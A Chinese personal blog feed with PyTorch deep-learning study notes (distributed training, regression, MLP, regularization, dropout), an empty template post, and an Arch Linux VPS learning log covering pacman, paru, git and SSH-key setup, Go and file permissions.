world。(当需要进行更加精细的通信时,可以通过 new_group 接口,使用 world 的子集,创建新组,用于集体通信等。) ## WORLD_SIZE:表示全局进程个数。如果是多机多卡就表示机器数量,如果是单机多卡就表示 GPU 数量。 ## RANK:表示进程序号,用于进程间通讯,表征进程优先级。rank = 0 的主机为 master 节点。 如果是多机多卡就表示对应第几台机器,如果是单机多卡,由于一个进程内就只有一个 GPU,所以 rank 也就表示第几块 GPU。 ## LOCAL_RANK:表示进程内,GPU 编号,非显式参数,由 torch.distributed.launch 内部指定。例如,多机多卡中 rank = 3,local_rank = 0 表示第 3 个进程内的第 1 块 GPU。 import os import torch import torch.distributed as dist import torch.multiprocessing as mp from torch.nn.parallel import DistributedDataParallel as DDP from torch.utils.data import DataLoader, distributed from torch import nn, optim import argparse def setup(rank, world_size): # 初始化进程组 dist.init_process_group( backend='nccl', # GPU 通常用 nccl, CPU 可用 gloo init_method='env://', # 使用环境变量初始化 world_size=world_size, # 进程总数 rank=rank # 当前进程编号 ) def cleanup(): dist.destroy_process_group() def main(): parser = argparse.ArgumentParser() parser.add_argument("--local_rank", type=int) args = parser.parse_args() # 1️⃣ 设置 GPU 设备 local_rank = args.local_rank torch.cuda.set_device(local_rank) # 2️⃣ 初始化分布式环境 setup(local_rank, world_size=int(os.environ["WORLD_SIZE"])) # 3️⃣ 创建模型并移动到对应 GPU model = nn.Linear(10, 1).to(local_rank) # 4️⃣ 使用 DDP 包装模型 model = DDP(model, device_ids=[local_rank], output_device=local_rank) # 5️⃣ 数据加载(使用 DistributedSampler) dataset = torch.utils.data.TensorDataset(torch.randn(100, 10), torch.randn(100, 1)) sampler = distributed.DistributedSampler(dataset) dataloader = DataLoader(dataset, batch_size=8, sampler=sampler) # 6️⃣ 定义优化器与损失 optimizer = optim.SGD(model.parameters(), lr=0.01) loss_fn = nn.MSELoss() # 7️⃣ 训练循环 for epoch in range(5): sampler.set_epoch(epoch) # 保证每个 epoch 数据不同 for x, y in dataloader: x, y = x.to(local_rank), y.to(local_rank) pred = model(x) loss = loss_fn(pred, y) optimizer.zero_grad() loss.backward() optimizer.step() if local_rank == 0: # 只在主进程打印日志 print(f"Epoch {epoch} loss: {loss.item():.4f}") cleanup() if __name__ == "__main__": main() 4.4 概率 1 2 3 4 5 6 7 # from torch.distributions import multinomial import torch from torch.distributions import multinomial fair_probs = torch.ones([6]) / 6 # 公平骰子的概率分布 multinomial.Multinomial(10000, fair_probs).sample() # 掷10000次骰子的结果 counts / 1000 # 相对频率作为估计值 # tensor([0.1670, 0.1680, 0.1670, 0.1670, 0.1650, 0.1660]) 4.5 查看函数用法 1 2 ?# 在 Jupyter Notebook 中使用 ? 查看函数用法 torch.sum? 5. 深度学习整体流程 阶段 核心内容 关键说明 1. 数据准备 加载与预处理数据 使用 Dataset 与 DataLoader,进行划分(train/val/test)与归一化、增强等处理 2. 模型定义 构建神经网络结构 继承 nn.Module,在 forward() 定义前向传播 3. 损失函数 选择优化目标 常用:分类用 CrossEntropyLoss,回归用 MSELoss 4. 优化器设置 定义参数更新规则 如 Adam、SGD,指定学习率与权重衰减 5. 训练循环 前向传播 → 计算损失 → 反向传播 → 更新参数 核心训练逻辑,包含梯度清零与反向传播 6. 验证评估 在验证集上测试模型性能 关闭梯度计算,评估准确率、损失等指标 7. 模型保存 保存最佳模型权重 使用 torch.save(model.state_dict(), path) 8. 测试与推理 使用训练好的模型预测 加载权重后在新数据上进行 model.eval() 推理 5.1 线性回归 线性模型 损失函数 梯度下降 5.2 模型预测 给定“已学习”的线性回归模型 $\hat{\mathbf{w}}^{\mathrm{T}} \mathbf{x} + \hat{b}$ , 现在我们可以通过房屋面积$x_1$和房龄$x_2$来估计一个(未包含在训练数据中的)新房屋价格。 给定特征估计目标的过程通常称为预测(prediction)或推断(inference)。 矢量化加速 标量计算:逐个样本计算预测值 (for 循环) 矢量化计算:通过矩阵运算一次性计算多个样本的预测值 对计算进行矢量化,时处理整个小批量的样本 1 2 3 4 5 6 7 8 9 10 11 n=100000 a=torch.ones([n]) b=torch.ones([n]) # for c = torch.zeros(n) for i in range(n): c[i] = a[i] + b[i] # 矢量化 d = a + b 正态分布与平方损失 随机变量 $x$ 服从均值为 $\mu$ 、方差为 $\sigma^2$ 的正态分布,记为 $x \sim \mathcal{N}(\mu, \sigma^2)$ ,其概率密度函数为: $$p(x) = \frac{1}{\sqrt{2\pi\sigma^2}}\exp\left(-\frac{(x-\mu)^2}{2\sigma^2}\right)$$ 1 2 3 4 def normal(x, mu, sigma): p = 1 / math.sqrt(2 * math.pi * sigma**2) return p * np.exp(-0.5 / sigma**2 * (x - mu)**2) 5.3 线性回归的 nn 典型实现 1️⃣ 简要概括典型结构 一个典型的线性回归神经网络结构主要包括: 数据集(Dataset & DataLoader):生成或读取训练数据,并按 batch 迭代 模型(Model):核心层是 nn.Linear,表示线性映射 (y = Xw + b) 损失函数(Loss):回归问题常用 MSELoss 或 L1Loss 优化器(Optimizer):更新参数 w、b,常用 SGD 或 Adam 总体结构: 数据 → 模型前向 → 损失计算 → 反向传播 → 参数更新 2️⃣ 每一部分的具体代码实现 数据集与 DataLoader 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import torch from torch.utils.data import TensorDataset, DataLoader # 随机生成数据 n_samples, n_features = 1000, 3 X = torch.randn(n_samples, n_features) true_w = torch.tensor([2.0, -3.4, 1.5]) true_b = 4.2 y = X @ true_w + true_b + 0.01 * torch.randn(n_samples) y = y.view(-1, 1) # 打包数据集并创建 DataLoader dataset = TensorDataset(X, y) loader = DataLoader(dataset, batch_size=32, shuffle=True) 模型定义 方法 A:继承 nn.Module 1 2 3 4 5 6 7 8 9 10 11 import torch.nn as nn class LinearRegressionModel(nn.Module): def __init__(self, input_dim, output_dim): super().__init__() self.linear = nn.Linear(input_dim, output_dim) def forward(self, x): return self.linear(x) model = LinearRegressionModel(n_features, 1) 方法 B:nn.Sequential 1 model = nn.Sequential(nn.Linear(n_features, 1)) 损失函数 1 2 criterion = nn.MSELoss() # 均方误差 # 也可以使用 nn.L1Loss() 优化器 1 2 3 4 5 import torch.optim as optim optimizer = optim.SGD(model.parameters(), lr=0.01) # 或使用 Adam # optimizer = optim.Adam(model.parameters(), lr=0.01) 3️⃣ 带实际例子的完整实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 num_epochs = 50 for epoch in range(num_epochs): for X_batch, y_batch in loader: # 前向传播 y_pred = model(X_batch) # 计算损失 loss = criterion(y_pred, y_batch) # 清空梯度 optimizer.zero_grad() # 反向传播 loss.backward() # 更新参数 optimizer.step() if (epoch + 1) % 10 == 0: print(f"Epoch {epoch+1}, Loss: {loss.item():.4f}") # 查看学习到的参数 for name, param in model.named_parameters(): print(name, param.data) 4️⃣ 注意事项 梯度清空 每次更新前必须调用 optimizer.zero_grad() 或手动清零 param.grad 否则梯度会累加,导致参数更新过大 学习率选择 lr 太大 → 训练不稳定 lr 太小 → 收敛慢 Batch 平均梯度 使用小批量时,梯度通常按 batch 平均更新 保持更新幅度稳定 模型参数访问 model.parameters() → 所有可训练参数 param.grad → 当前 batch 的梯度 数据维度 输入 X shape [batch_size, n_features] 输出 y shape [batch_size, 1] 5.4 softmax 回归的 nn 典型实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 import torch import torchvision from torch.utils import data from torchvision import transforms import matplotlib.pyplot as plt from torch import nn from IPython import display # ---------------- 数据加载 ---------------- def get_dataloader_workers(): """使用 4 个进程来读取数据(Windows/WSL 可改为0)""" return 4 def load_data_fashion_mnist(batch_size, resize=None): """下载 Fashion-MNIST 数据集并加载""" trans = [transforms.ToTensor()] if resize: trans.insert(0, transforms.Resize(resize)) trans = transforms.Compose(trans) mnist_train = torchvision.datasets.FashionMNIST( root="../data", train=True, transform=trans, download=True) mnist_test = torchvision.datasets.FashionMNIST( root="../data", train=False, transform=trans, download=True) return (data.DataLoader(mnist_train, batch_size, shuffle=True, num_workers=get_dataloader_workers(), pin_memory=True), data.DataLoader(mnist_test, batch_size, shuffle=False, num_workers=get_dataloader_workers(), pin_memory=True)) # ---------------- 工具函数 ---------------- class Accumulator: """在 n 个变量上累加""" def __init__(self, n): self.data = [0.0] * n def add(self, *args): self.data = [a + float(b) for a, b in zip(self.data, args)] def reset(self): self.data = [0.0] * len(self.data) def __getitem__(self, idx): return self.data[idx] def accuracy(y_hat, y): """计算预测正确的数量""" if len(y_hat.shape) > 1 and y_hat.shape[1] > 1: y_hat = y_hat.argmax(axis=1) cmp = y_hat.type(y.dtype) == y return float(cmp.type(y.dtype).sum()) def evaluate_accuracy(net, data_iter, device): """计算模型在数据集上的精度""" net.eval() metric = Accumulator(2) with torch.no_grad(): for X, y in data_iter: X, y = X.to(device), y.to(device) metric.add(accuracy(net(X), y), y.numel()) return metric[0] / metric[1] # ---------------- 可视化 ---------------- def set_axes(ax, xlabel, ylabel, xlim, ylim, xscale, yscale, legend): ax.set_xlabel(xlabel) ax.set_ylabel(ylabel) ax.set_xscale(xscale) ax.set_yscale(yscale) ax.set_xlim(xlim) ax.set_ylim(ylim) if legend: ax.legend(legend) ax.grid(True) class Animator: """在 Jupyter Notebook 中动态绘制曲线""" def __init__(self, xlabel=None, ylabel=None, legend=None, xlim=None, ylim=None, xscale='linear', yscale='linear', fmts=('-', 'm--', 'g-.', 'r:'), figsize=(5, 3)): self.fig, self.ax = plt.subplots(figsize=figsize) self.fmts = fmts self.X, self.Y = [], [] self.xlabel = xlabel self.ylabel = ylabel self.legend = legend self.xlim = xlim self.ylim = ylim self.xscale = xscale self.yscale = yscale def add(self, x, y): if not hasattr(y, "__len__"): y = [y] if not hasattr(x, "__len__"): x = [x] * len(y) if not self.X: self.X = [[] for _ in range(len(y))] if not self.Y: self.Y = [[] for _ in range(len(y))] for i, (a, b) in enumerate(zip(x, y)): self.X[i].append(a) self.Y[i].append(b) self.ax.cla() for xi, yi, fmt in zip(self.X, self.Y, self.fmts): self.ax.plot(xi, yi, fmt) set_axes(self.ax, self.xlabel, self.ylabel, self.xlim, self.ylim, self.xscale, self.yscale, self.legend) display.display(self.fig) display.clear_output(wait=True) # ---------------- 模型初始化 ---------------- def init_weights(m): if isinstance(m, nn.Linear): nn.init.normal_(m.weight, std=0.01) nn.init.zeros_(m.bias) # ---------------- 训练函数 ---------------- def train_epoch_ch3(net, train_iter, loss, updater, device): """训练一个 epoch""" net.train() metric = Accumulator(3) for X, y in train_iter: X, y = X.to(device), y.to(device) y_hat = net(X) l = loss(y_hat, y) if isinstance(updater, torch.optim.Optimizer): updater.zero_grad() l.mean().backward() updater.step() else: l.sum().backward() updater(X.shape[0]) metric.add(l.sum().item(), accuracy(y_hat, y), y.numel()) return metric[0] / metric[2], metric[1] / metric[2] def train_ch3(net, train_iter, test_iter, loss, num_epochs, updater, device): animator = Animator(xlabel='epoch', xlim=[1, num_epochs], ylim=[0.3, 0.9], legend=['train loss', 'train acc', 'test acc']) for epoch in range(num_epochs): train_metrics = train_epoch_ch3(net, train_iter, loss, updater, device) test_acc = evaluate_accuracy(net, test_iter, device) animator.add(epoch + 1, train_metrics + (test_acc,)) train_loss, train_acc = train_metrics print(f'Train loss: {train_loss:.4f}, Train acc: {train_acc:.4f}, Test acc: {test_acc:.4f}') # ---------------- 主程序 ---------------- batch_size = 1024 num_epochs = 10 device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') train_iter, test_iter = load_data_fashion_mnist(batch_size) net = nn.Sequential(nn.Flatten(), nn.Linear(784, 10)) net.apply(init_weights) net = net.to(device) trainer = torch.optim.SGD(net.parameters(), lr=0.1) loss = nn.CrossEntropyLoss(reduction='none') train_ch3(net, train_iter, test_iter, loss, num_epochs, trainer, device) 5.5 多层感知机(multilayer perceptron,MLP) 为什么要用多层感知机(MLP) 单层线性层只能做直线映射,无法处理复杂非线性关系。 加了隐藏层 + 非线性激活函数后,网络可以拟合复杂函数。 理论上:单隐层+足够神经元能逼近任意函数,但训练困难。 深层网络更高效:用更少神经元就能表达复杂模式。 激活函数 是神经元输出的“变形器”,把输入映射成输出。 主要作用: 引入非线性,让网络能处理复杂关系。 控制输出范围。 常见类型: Sigmoid:0~1,适合概率 Tanh:-1~1 ReLU:负数→0,正数→原值 Leaky ReLU/GELU/Softmax:不同改进或多分类用 激活值 神经元经过激活函数后的输出。 输出越大 → “活跃”,输出小或0 → “不活跃”。 和权重不同,它是神经元对输入的响应。 顺便说一句,这些知识已经让你掌握了一个类似于1990年左右深度学习从业者的工具。 红温了👆 5.6 模型选择、欠拟合和过拟合 我们不想让模型只会做这样的事情:“那是鲍勃!我记得他!他有痴呆症!”。 原因很简单:当我们将来部署该模型时,模型需要判断从未见过的患者。 只有当模型真正发现了一种泛化模式时,才会作出有效的预测。 更正式地说,我们的目标是发现某些模式, 这些模式捕捉到了我们训练集潜在总体的规律。 如果成功做到了这点,即使是对以前从未遇到过的个体, 模型也可以成功地评估风险。 如何发现可以泛化的模式是机器学习的根本问题。 深度学习的目标是拟合输入与输出之间的潜在规律(可泛化模式),而非训练集特定的偶然特性。过拟合是模型对训练集偶然特性过度拟合的结果,本质上不是规律,而是对噪声的“误学习”。数据设计不合理或噪声过多会加剧这种误学习,使之在最后临门一脚时远离真正的规律。 假设硬币是公平的,无论我们想出什么算法,泛化误差始终是0.5。 然而,对于大多数算法,我们应该期望训练误差会更低(取决于运气)。 考虑数据集{0,1,1,1,0,1}。 我们的算法不需要额外的特征,将倾向于总是预测多数类, 从我们有限的样本来看,它似乎是1占主流。 在这种情况下,总是预测类1的模型将产生0.33的误差, 这比我们的泛化误差要好得多。 当我们逐渐增加数据量,正面比例明显偏离0.5时,这种情况 的可能性将会降低, 我们的训练误差将与泛化误差相匹配。 在许多实际问题中,目标本身可能存在随机性或噪声(前者类似经典物理中的复杂因素,后者类似量子力学的不确定性),导致训练集和测试集即使来自同一分布,也无法完全一致。这种固有的不确定性构成了不可约误差,是泛化误差的一部分。换句话说,模型无法完全重建目标规律,只能在有限样本和有限模型容量条件下尽可能逼近数据分布中的潜在规律。训练误差与泛化误差之间的差异还会受到样本有限性和模型容量限制的影响。随着训练数据量增加,训练误差通常会逐渐接近泛化误差,但不可约误差始终存在,因此泛化误差几乎总是大于零。 5.7 权重衰减 一种简单的方法是通过线性函数 $f(x)=w^Tx$ 中的权重向量的某个范数来度量其复杂性, 例如 $||w||^2$ 。 要保证权重向量比较小, 最常用方法是将其范数作为惩罚项加到最小化损失的问题中。 将原来的训练目标最小化训练标签上的预测损失, 调整为最小化预测损失和惩罚项之和。 现在,如果我们的权重向量增长的太大, 我们的学习算法可能会更集中于最小化权重范数 $||w||^2$ 。这正是我们想要的. 在神经网络中,权重向量越大,模型对输入变化越敏感,函数曲线更陡峭,能表达更多复杂模式,函数族复杂度高,容易过拟合。L2正则化(权重衰减)通过在损失函数中加入权重平方的惩罚项,限制权重增长,使输出平滑,降低模型复杂度,从而提高泛化能力。 此外,为什么我们首先使用 $L_2$ 范数,而不是 $L_1$ 范数。事实上,这个选择在整个统计领域中都是有效的和受欢迎的。$L_2$ 正则化线性模型构成经典的岭回归(ridge regression)算法,$L_1$ 正则化线性回归是统计学中类似的基本模型,通常被称为套索回归(lasso regression)。 使用 $L_2$ 范数的一个原因是它对权重向量的大分量施加了巨大的惩罚。 这使得我们的学习算法偏向于在大量特征上均匀分布权重的模型。 在实践中,这可能使它们对单个变量中的观测误差更为稳定。 相比之下,$L_1$ 惩罚会导致模型将权重集中在一小部分特征上, 而将其他权重清除为零。 这称为特征选择(feature selection),这可能是其他场景下需要的。 L2 范数正则化(岭回归)会均匀压缩所有特征的权重,使模型平稳、对噪声不敏感,因此通常优先使用;而 L1 范数正则化(套索回归)会将部分权重压为零,实现特征选择,适合需要筛掉不重要特征的场景。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def l2_penalty(w): return torch.sum(w.pow(2)) / 2 def train(lambd): w, b = init_params() net, loss = lambda X: d2l.linreg(X, w, b), d2l.squared_loss num_epochs, lr = 100, 0.003 animator = d2l.Animator(xlabel='epochs', ylabel='loss', yscale='log', xlim=[5, num_epochs], legend=['train', 'test']) for epoch in range(num_epochs): for X, y in train_iter: # 增加了L2范数惩罚项, # 广播机制使l2_penalty(w)成为一个长度为batch_size的向量 l = loss(net(X), y) + lambd * l2_penalty(w) l.sum().backward() d2l.sgd([w, b], lr, batch_size) if (epoch + 1) % 5 == 0: animator.add(epoch + 1, (d2l.evaluate_loss(net, train_iter, loss), d2l.evaluate_loss(net, test_iter, loss))) print('w的L2范数是:', torch.norm(w).item()) 1 train(lambd=0) 1 train(lambd=3) 5.8 暂退法 泛化性和灵活性之间的这种基本权衡被描述为偏差-方差权衡(bias-variance tradeoff)。 线性模型有很高的偏差:它们只能表示一小类函数。 然而,这些模型的方差很低:它们在不同的随机数据样本上可以得出相似的结果。 深度神经网络位于偏差-方差谱的另一端。 与线性模型不同,神经网络并不局限于单独查看每个特征,而是学习特征之间的交互。 例如,神经网络可能推断“尼日利亚”和“西联汇款”一起出现在电子邮件中表示垃圾邮件, 但单独出现则不表示垃圾邮件。 简单性的另一个角度是平滑性,即函数不应该对其输入的微小变化敏感。 例如,当我们对图像进行分类时,我们预计向像素添加一些随机噪声应该是基本无影响的。 1995年,克里斯托弗·毕晓普证明了 具有输入噪声的训练等价于Tikhonov正则化 (Bishop, 1995)。 这项工作用数学证实了“要求函数光滑”和“要求函数对输入的随机噪声具有适应性”之间的联系。 泛化与特征选择:模型只有关注真实、稳定的特征,而忽略噪声特征,才能具有良好的泛化能力。在深度神经网络中,噪声特征对输出的影响应尽可能微小,从而保证模型在未见数据上的稳健性。 这个想法被称为暂退法(dropout)。 暂退法在前向传播过程中,计算每一内部层的同时注入噪声,这已经成为训练神经网络的常用技术。 这种方法之所以被称为暂退法,因为我们从表面上看是在训练过程中丢弃(drop out)一些神经元。 在整个训练过程的每一次迭代中,标准暂退法包括在计算下一层之前将当前层中的一些节点置零。 需要说明的是,暂退法的原始论文提到了一个关于有性繁殖的类比: 神经网络过拟合与每一层都依赖于前一层激活值相关,称这种情况为“共适应性”。 作者认为,暂退法会破坏共适应性,就像有性生殖会破坏共适应的基因一样。 在训练中随机破坏部分神经元的共适应性,使模型不依赖特定神经元组合,从而忽略训练集中的噪声或无关特征,提高泛化能力。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 dropout1, dropout2 = 0.2, 0.5 class Net(nn.Module): def __init__(self, num_inputs, num_outputs, num_hiddens1, num_hiddens2, is_training = True): super(Net, self).__init__() self.num_inputs = num_inputs self.training = is_training self.lin1 = nn.Linear(num_inputs, num_hiddens1) self.lin2 = nn.Linear(num_hiddens1, num_hiddens2) self.lin3 = nn.Linear(num_hiddens2, num_outputs) self.relu = nn.ReLU() def forward(self, X): H1 = self.relu(self.lin1(X.reshape((-1, self.num_inputs)))) # 只有在训练模型时才使用dropout if self.training == True: # 在第一个全连接层之后添加一个dropout层 H1 = dropout_layer(H1, dropout1) H2 = self.relu(self.lin2(H1)) if self.training == True: # 在第二个全连接层之后添加一个dropout层 H2 = dropout_layer(H2, dropout2) out = self.lin3(H2) return out net = Net(num_inputs, num_outputs, num_hiddens1, num_hiddens2) 调整 dropout 比例可以控制正则化强度,通常在 0.2-0.5 之间选择。过高会导致欠拟合,过低则正则化效果不明显,这就是调参吧。 5.9 前向传播与反向传播 前向传播在神经网络定义的计算图中按顺序计算和存储中间变量,它的顺序是从输入层到输出层。 反向传播按相反的顺序(从输出层到输入层)计算和存储神经网络的中间变量和参数的梯度。 在训练深度学习模型时,前向传播和反向传播是相互依赖的。 训练比预测需要更多的内存。 前向传播定义了目标函数在当前参数处的取值,用于计算模型输出和损失,并构建计算图;反向传播计算该目标函数在参数空间中的一阶导数,在该计算图上应用链式法则,计算损失对各参数的梯度,而学习过程本质上是在参数空间中沿负梯度方向进行迭代优化。 5.10 数值稳定性和模型初始化 5.10.1 梯度消失与爆炸 在深度神经网络中,参数更新依赖反向传播得到的梯度,而梯度必须按链式法则从后向前逐层相乘传播;由于越靠前的层离损失函数越远,其梯度要经历更多层的导数“缩放”,如果每层的梯度因子(权重大小与激活函数导数)整体小于 1,就会在连乘中迅速衰减,导致前面层梯度接近 0、参数几乎不更新,这就是梯度消失;反之,如果这些因子整体大于 1,梯度会在连乘中指数放大,使参数一次更新就发生剧烈变化甚至数值溢出,这就是梯度爆炸;因此,常见现象是后面层因路径短仍能正常更新,而前面层因路径长率先“学不动”,而真正的模型收敛应表现为在损失已足够低的前提下所有层梯度同时变小。 5.10.2 权重初始化 在多层感知机中,隐藏单元在同一层的权重如果完全相同,前向传播会产生相同激活,反向传播的梯度也相同,导致这些神经元始终沿同一方向更新,相当于浪费了隐藏单元的容量,网络表达能力受限。随机初始化打破这种对称性,使每个隐藏单元获得不同起点,前向输出和梯度逐渐分化,从而学习到不同的特征组合,提升网络的表达能力和泛化性能。 Xavier 初始化通过根据输入输出神经元数量合理随机化权重,既打破对称性,又控制每层输出方差,防止梯度消失或爆炸,使深层网络训练更稳定。 5.11 深度学习计算 6. 常见问题与解决办法 7. tips 7. 参考资料 动手学深度学习 PyTorch 中文文档 PyTorch 官方文档 深入浅出PyTorch-第一章:PyTorch的简介和安装 NVIDIA 官方 CUDA 文档 显卡的受支持情况

9/14/2025
articleCard.readMore

模板博文

balabala

9/14/2025
articleCard.readMore

ArchLinux VPS 学习日志

前言 关于折腾服务器,恐怕从大一入学就有这个想法了。无论是搞个轻薄本随身使用,远程连接服务器,还是折腾点 WEBapp ,搭建点网站公网访问,还有搭建联机游戏服务器以及自己搭建 VPN,都让我有着强烈地意愿拥有一台有公网 IP 的服务器。 前前后后,从折腾家里的公网 IP 未遂,到使用 CUC 的宿舍公网 IP (后来才知道不是一开始就有的,是 lmx 申请的),再到折腾过的腾讯云、阿里云服务器搭建幻兽帕鲁服务器,我终究还是回到了 Hostinger。 之前买的一年期服务器体验很好,4 核 16GB + 50GB 以及 16 TB per month 的带宽,只要 1000 rmb (虽然对我来说还是很大的消费了 T_T ) 。 期间,我学习 linux 简单命令、golang/gin 开发、webapp 开发,也用他跑过我的简单的个人主页、hugo 博客,还有游戏服务器。总之,从中获得的知识和乐趣对得起这个价格。 这次索性搞个两年期,配置降到 2 核 8 GB 应该也够用,还是 1000 rmb 的价格。 点我 Hostinger 获得 20% 折扣 配置 项目 参数 服务器位置 United States - Boston 操作系统 Arch Linux 主机名 * 当前套餐 KVM 2 CPU 核心 2 内存 8 GB 磁盘空间 100 GB 带宽 8 TB/月 速度 1 Gbps 优惠价 1003.64 元 学习 包管理器 Pacman(Primary Package Manager) 官方包管理 AUR(Arch User Repository) Arch 社区软件仓库 yay 传统的 AUR Helper paru 新兴的 AUR Helper makepkg 手动编译安装 pacman Pacman wiki ArchLinux 的版本库里面包括: core-核心软件包 extra-其他常用软件 community-社区软件包,譬如Mysql等。 testing-正在测试阶段,还没有正式加入源的软件包。通常软件版本比较新,但是不是非常稳定 release-已经发布的软件包 unstable-非正式的软件包,可能包括以前版本的软件或者测试软件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 # 更新系统 update system ## 更新系统并同步仓库数据 pacman -Syu # 安装包 pacman -S [包名] ## 一个软件包有多个版本(比如extra和testing)。你可以选择一个来安装 pacman -S extra/[包名] # 安装 指定版本(extra)的包 # 删除包 ## 删除单个软件包,保留其全部已经安装的依赖关系 pacman -R [包名] ## 删除指定软件包,及其所有没有被其他已安装软件包使用的依赖关系 pacman -Rs [包名] ## 删除软件包且删除配置文件 pacman -Rn [包名] ## [常用]删除软件包及其配置文件和无用依赖 pacman -Rsn [包名] # 查询包数据 ## 查询包数据库中的软件包 pacman -Ss [包名] ## 查询已安装的软件包 pacman -Qs [包名] ## 详细信息 pacman -Si [包名] pacman -Qi [包名] ## 获取已安装软件包所包含文件的列表 pacman -Ql [包名] ## 文件系统中某个文件是属于哪个软件包 pacman -Qo /path/to/a/file ## 罗列所有不再作为依赖的软件包(孤立orphans) pacman -Qdt # 其他常用命令 ## 下载包而不安装它 pacman -Sw [包名] ## 安装一个 本地包(不从源里) pacman -U /path/to/package/package_name-version.pkg.tar.gz ## 安装一个 远程包(不从源里) pacman -U http://url/package_name-version.pkg.tar.gz ## 清理当前未被安装软件包的缓存(/var/cache/pacman/pkg) pacman -Sc ## 完全清理包缓存 pacman -Scc ## 跳过升级软件包 IgnorePkg = 软件包名 ## 跳过升级软件包组 IgnoreGroup = gnome paru 安装配置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 sudo pacman -S --needed git base-devel # git:用于从 AUR 下载源码。 # base-devel:包含 make, gcc 等编译工具。 # 使用非 root 用户安装 ## 克隆 paru 仓库 git clone https://aur.archlinux.org/paru.git cd paru ## 编译并安装 makepkg -si # 开启颜色显示 sudo vim /etc/pacman.conf ##取消注释 Color github 环境配置 git 配置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 安装 Git sudo pacman -Syu git # 设置全局用户信息 git config --global user.name "你的GitHub用户名" git config --global user.email "你的GitHub邮箱" # 检查配置 git config --list ## 若报错 error: cannot run less: No such file or directory fatal: unable to execute pager 'less' ## 未安装分页器 less sudo pacman -S less ##随后重新执行 github SSH key 配置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # 生成 SSH 密钥 ssh-keygen -t ed25519 -C "你的GitHub邮箱" # 添加 ssh-agent eval "$(ssh-agent -s)" ssh-add ~/.ssh/id_ed25519 # 添加到 GitHub ## 登录 GitHub → Settings → SSH and GPG keys → New SSH key ## 把 ~/.ssh/id_ed25519.pub 的内容复制进去。 # 测试 ssh -T git@github.com # 提示:Hi <你的用户名>! You've successfully authenticated... 配置成功 # clone 仓库 ## ssh git clone git@github.com:用户名/仓库名.git ## https git clone https://github.用户名/仓库名.git golang 环境配置 golang 安装 1 2 3 4 5 6 7 sudo pacman -Syu go #配置环境变量 工作目录 GOPATH mkdir -p ~/go/{bin,pkg,src} echo 'export GOPATH=$HOME/go' >> ~/.bashrc echo 'export PATH=$PATH:$GOPATH/bin' >> ~/.bashrc source ~/.bashrc 硬链接/软链接 硬链接是文件的 另一个名字,指向文件在磁盘上的 同一个 inode(即文件的实际存储位置) 软链接是一个 独立的文件,内容是指向原文件路径的字符串。 特性 硬链接 软链接 是否占用独立 inode 否(与原文件共享 inode) 是(独立 inode) 是否可以跨文件系统 否 是 是否可以指向目录 否(普通用户) 是 删除原文件后 仍可访问 失效 修改内容影响原文件 是 是(修改内容指向原文件) 查看 ls -li inode 相同 ls -l -> 指向原文件 1 2 3 4 5 6 7 8 9 10 11 12 # 硬链接 ln a.txt b.txt # 硬链接 ln -s [原文件或目录路径] [软链接名称] ## 查看软链接指向 readlink link_test.txt 文件权限管理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 # 查看权限 ls -l 文件名或目录名 ## -rw-r--r-- 1 lihan users 1024 Sep 8 22:00 test.txt ## drwxr-xr-x 2 lihan users 4096 Sep 8 22:01 mydir ## -rw-r--r-- ## │ │ │ │ │ ## │ │ │ │ └─ 其他用户权限 ## │ │ │ └─ 用户组权限 ## │ │ └─ 文件拥有者权限 ## │ └─ 文件类型:- 文件,d 目录,l 链接 ## 查看 ACL(Access Control List,高级权限) getfacl 文件名 ## 其他 id #显示 UID、GID 和组信息 whoami #显示当前用户名 groups #显示用户所属组 # 权限修改 ## 数字方式 chmod 755 文件或目录 ## 7 = rwx(4+2+1) ## 6 = rw- ## 5 = r-x ## 4 = r-- ## chmod 644 test.txt # 所有者可读写,组和其他用户只读 ## 符号方式 chmod u+rwx,g+rx,o+r 文件 chmod u-w 文件 ## u = 用户(owner) ## g = 组(group) ## o = 其他用户(other) ## a = all(所有人) ## + = 添加权限 ## - = 移除权限 ## = = 设置权限(覆盖) ## chown 改变文件拥有者 sudo chown 用户:组 文件或目录 ## chgrp 改变文件所属组 sudo chgrp users test.txt ## 设置目录及其子目录/文件权限 chmod -R 755 mydir ## 新建文件继承目录组 sudo chgrp -R users mydir sudo chmod g+s mydir cp / mv 复制剪贴 cp —— 复制 1 2 3 4 cp file1 file2 # 复制文件 cp file /dir/ # 复制到目录 cp -r dir1 dir2 # 递归复制目录 cp -av src dst # 保留属性 + 显示过程 mv —— 移动 / 重命名 1 2 3 4 mv file /dir/ # 移动文件 mv old new # 重命名 mv dir1 dir2 # 移动或改名目录 mv -iv src dst # 覆盖前确认 + 显示过程 tmux sudo pacman -S tmux 参见tmux 简单攻略 ssh 配置 参见简单配置ssh免密登录 ssh 配置文件 📌 SSH 配置文件区别(Arch Linux 通用) ssh_config / ~/.ssh/config 👉 客户端配置(你连别人) 